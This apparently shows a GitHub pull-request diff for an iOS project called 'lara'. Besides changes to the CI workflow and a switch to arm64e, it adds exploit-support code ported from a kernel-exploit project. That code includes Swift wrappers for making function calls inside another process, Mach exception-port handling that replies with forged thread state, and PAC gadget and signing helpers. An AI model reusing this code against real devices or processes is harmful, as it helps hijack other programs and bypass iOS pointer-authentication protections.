Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
28 changes: 5 additions & 23 deletions .github/workflows/build.yml
Original file line number Diff line number Diff line change
Expand Up @@ -25,35 +25,17 @@ jobs:

- name: build
run: |
xcodebuild \
-project lara.xcodeproj \
-scheme lara \
-configuration Debug \
-sdk iphoneos \
CODE_SIGNING_ALLOWED=NO \
CODE_SIGNING_REQUIRED=NO \
CODE_SIGN_IDENTITY="" \
archive \
-archivePath $PWD/build/lara.xcarchive | tee build.log

APP_PATH="$PWD/build/lara.xcarchive/Products/Applications/lara.app"
if [ ! -d "$APP_PATH" ]; then
echo "Missing app at $APP_PATH"
exit 1
fi
rm -rf "$PWD/build/Payload"
mkdir -p "$PWD/build/Payload"
cp -R "$APP_PATH" "$PWD/build/Payload/"
(cd "$PWD/build" && /usr/bin/zip -qry lara.ipa Payload)
chmod +x scripts/build_ipa.sh
LARA_LDID_SIGN=0 ./scripts/build_ipa.sh

- name: upload build artifact
if: github.event_name == 'pull_request'
uses: actions/upload-artifact@v4
with:
name: lara-ipa
path: |
build/lara.ipa
build.log
dist/lara.ipa
build/xcodebuild.log

- name: create release tag
if: github.event_name != 'pull_request'
Expand Down Expand Up @@ -102,6 +84,6 @@ jobs:
tag_name: latest
name: Latest Build
body: ${{ env.COMMITS }}
files: build/lara.ipa
files: dist/lara.ipa
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
8 changes: 4 additions & 4 deletions lara.xcodeproj/project.pbxproj
Original file line number Diff line number Diff line change
Expand Up @@ -226,7 +226,7 @@
isa = XCBuildConfiguration;
buildSettings = {
ALWAYS_SEARCH_USER_PATHS = NO;
ARCHS = arm64;
ARCHS = arm64e;
ASSETCATALOG_COMPILER_GENERATE_SWIFT_ASSET_SYMBOL_EXTENSIONS = YES;
CLANG_ANALYZER_NONNULL = YES;
CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
Expand Down Expand Up @@ -291,7 +291,7 @@
isa = XCBuildConfiguration;
buildSettings = {
ALWAYS_SEARCH_USER_PATHS = NO;
ARCHS = arm64;
ARCHS = arm64e;
ASSETCATALOG_COMPILER_GENERATE_SWIFT_ASSET_SYMBOL_EXTENSIONS = YES;
CLANG_ANALYZER_NONNULL = YES;
CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
Expand Down Expand Up @@ -348,7 +348,7 @@
CC1C8B452F71DF9C00206982 /* Debug */ = {
isa = XCBuildConfiguration;
buildSettings = {
ARCHS = arm64;
ARCHS = arm64e;
ASSETCATALOG_COMPILER_APPICON_NAME = lara;
CODE_SIGN_STYLE = Automatic;
CURRENT_PROJECT_VERSION = 1;
Expand Down Expand Up @@ -395,7 +395,7 @@
CC1C8B462F71DF9C00206982 /* Release */ = {
isa = XCBuildConfiguration;
buildSettings = {
ARCHS = arm64;
ARCHS = arm64e;
ASSETCATALOG_COMPILER_APPICON_NAME = lara;
CODE_SIGN_STYLE = Automatic;
CURRENT_PROJECT_VERSION = 1;
Expand Down
71 changes: 71 additions & 0 deletions lara/classes/laramgr.swift
Original file line number Diff line number Diff line change
Expand Up @@ -433,4 +433,75 @@ final class laramgr: ObservableObject {
print("changed owner of \(path) to \(uid):\(gid)!")
return true
}

// MARK: - RemoteCall

/// Initialize remote call on a target process
/// - Parameters:
/// - process: The process name to target
/// - useMigBypass: Whether to use MIG filter bypass (not yet implemented)
/// - completion: Completion handler with success status
func initRemoteCall(process: String, useMigBypass: Bool = false, completion: ((Bool) -> Void)? = nil) {
guard dsready, !remotecallrunning else {
completion?(false)
return
}

remotecallrunning = true
logmsg("initializing remote call on \(process)...")

DispatchQueue.global(qos: .userInitiated).async { [weak self] in
let result = init_remote_call(process, useMigBypass)

DispatchQueue.main.async {
guard let self = self else { return }
let success = result == 0
if success {
self.logmsg("remote call initialized on \(process)")
} else {
self.logmsg("remote call init failed on \(process)")
self.remotecallrunning = false
}
completion?(success)
}
}
}

/// Destroy the current remote call session
func destroyRemoteCall() {
guard remotecallrunning else { return }

logmsg("destroying remote call session...")

DispatchQueue.global(qos: .userInitiated).async { [weak self] in
destroy_remote_call()

DispatchQueue.main.async {
self?.remotecallrunning = false
self?.logmsg("remote call session destroyed")
}
}
}

/// Execute a remote function call
/// - Parameters:
/// - name: The function name to call
/// - args: Up to 8 arguments (x0-x7)
/// - timeout: Timeout in milliseconds
/// - Returns: The return value from the remote call
func doRemoteCall(name: String, args: [UInt64] = [], timeout: Int32 = 100) -> UInt64 {
guard remotecallrunning else { return 0 }

// Pad args to 8 elements
var paddedArgs = args
while paddedArgs.count < 8 {
paddedArgs.append(0)
}

return do_remote_call_stable(
timeout, name,
paddedArgs[0], paddedArgs[1], paddedArgs[2], paddedArgs[3],
paddedArgs[4], paddedArgs[5], paddedArgs[6], paddedArgs[7]
)
}
}
42 changes: 42 additions & 0 deletions lara/kexploit/TaskRop/Exception.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
//
// Exception.h
// lara
//
// Ported from darksword-kexploit-fun
// Original by seo on 4/4/26.
//

#ifndef Exception_h
#define Exception_h

#import <mach/mach.h>
#import "RemoteCall.h"

// from pe_main.js
typedef struct {
mach_msg_header_t Head;
uint64_t NDR;
uint32_t exception;
uint32_t codeCnt;
uint64_t codeFirst;
uint64_t codeSecond;
uint32_t flavor;
uint32_t old_stateCnt;
arm_thread_state64_internal threadState;
uint64_t padding[2];
} ExceptionMessage;

typedef struct {
mach_msg_header_t Head;
uint64_t NDR;
uint32_t RetCode;
uint32_t flavor;
uint32_t new_stateCnt;
arm_thread_state64_internal threadState;
} __attribute__((packed)) ExceptionReply;

mach_port_t create_exception_port(void);
bool wait_exception(mach_port_t exceptionPort, ExceptionMessage *excBuffer, int timeout, bool debug);
void reply_with_state(ExceptionMessage *exc, arm_thread_state64_internal *state);

#endif /* Exception_h */
80 changes: 80 additions & 0 deletions lara/kexploit/TaskRop/Exception.m
Original file line number Diff line number Diff line change
@@ -0,0 +1,80 @@
//
// Exception.m
// lara
//
// Original by seo on 4/4/26.
//

#import "Exception.h"
#import "RemoteCall.h"
#import "PAC.h"
#import "../offsets.h"
#import <Foundation/Foundation.h>
#import <mach/mach.h>

// xnu-10002.81.5/osfmk/mach/port.h
#define MPO_PROVISIONAL_ID_PROT_OPTOUT 0x8000 /* Opted out of EXCEPTION_IDENTITY_PROTECTED violation for now */

// Thread state flags for PAC sanitization
#define _EXC_FLAGS_NO_PTRAUTH 0x1
#define _EXC_FLAGS_IB_SIGNED_LR 0x2
#define _EXC_FLAGS_KERNEL_SIGNED_PC 0x4
#define _EXC_FLAGS_KERNEL_SIGNED_LR 0x8

// from pe_main.js
#define EXCEPTION_MSG_SIZE 0x160
#define EXCEPTION_REPLY_SIZE 0x13c

mach_port_t create_exception_port(void)
{
mach_port_options_t options = {
.flags = MPO_INSERT_SEND_RIGHT | MPO_PROVISIONAL_ID_PROT_OPTOUT,
.mpl = { .mpl_qlimit = 0 }
};

mach_port_t exceptionPort = MACH_PORT_NULL;

kern_return_t kr = mach_port_construct(mach_task_self_, &options, 0, &exceptionPort);
if (kr != KERN_SUCCESS)
{
printf("[%s:%d] Failed to create exception port: %s (kr=%d)\n", __FUNCTION__, __LINE__, mach_error_string(kr), kr);
return MACH_PORT_NULL;
}

return exceptionPort;
}

bool wait_exception(mach_port_t exceptionPort, ExceptionMessage *excBuffer, int timeout, bool debug) {
kern_return_t kr = mach_msg(&excBuffer->Head, MACH_RCV_MSG | MACH_RCV_TIMEOUT, 0, EXCEPTION_MSG_SIZE, exceptionPort, timeout, MACH_PORT_NULL);

if(kr != KERN_SUCCESS) return false;

return true;
}

void reply_with_state(ExceptionMessage *exc, arm_thread_state64_internal *state)
{
uint8_t replyBuf[EXCEPTION_REPLY_SIZE];
memset(replyBuf, 0, sizeof(replyBuf));
ExceptionReply *reply = (ExceptionReply *)replyBuf;

reply->Head.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MOVE_SEND_ONCE, 0);
reply->Head.msgh_size = EXCEPTION_REPLY_SIZE;
reply->Head.msgh_remote_port = exc->Head.msgh_remote_port;
reply->Head.msgh_local_port = MACH_PORT_NULL;
reply->Head.msgh_id = exc->Head.msgh_id + 100;
reply->NDR = exc->NDR;
reply->RetCode = 0;
reply->flavor = ARM_THREAD_STATE64;
reply->new_stateCnt = ARM_THREAD_STATE64_COUNT;
memcpy(&reply->threadState, state, sizeof(arm_thread_state64_t));

kern_return_t kr = mach_msg((mach_msg_header_t *)replyBuf,
MACH_SEND_MSG,
EXCEPTION_REPLY_SIZE, 0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (kr != KERN_SUCCESS)
printf("[%s:%d] reply_with_state failed: %s\n", __FUNCTION__, __LINE__, mach_error_string(kr));
}
24 changes: 24 additions & 0 deletions lara/kexploit/TaskRop/PAC.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
//
// PAC.h
// lara
//
// Ported from darksword-kexploit-fun
// Original by seo on 4/4/26.
//

#ifndef PAC_h
#define PAC_h

#import <stdint.h>
#import <stdbool.h>
#import <mach/mach.h>

uint64_t native_strip(uint64_t address);
uint64_t pacia(uint64_t ptr, uint64_t modifier);
uint64_t ptrauth_blend_discriminator_wrapper(uint64_t diver, uint64_t discriminator);
uint64_t ptrauth_string_discriminator_special(const char *name);
uint64_t find_pacia_gadget(void);
void pac_cleanup(mach_port_t pacThread, mach_port_t exceptionPort, void *stack);
uint64_t remote_pac(uint64_t remoteThreadAddr, uint64_t address, uint64_t modifier);

#endif /* PAC_h */
Loading
Loading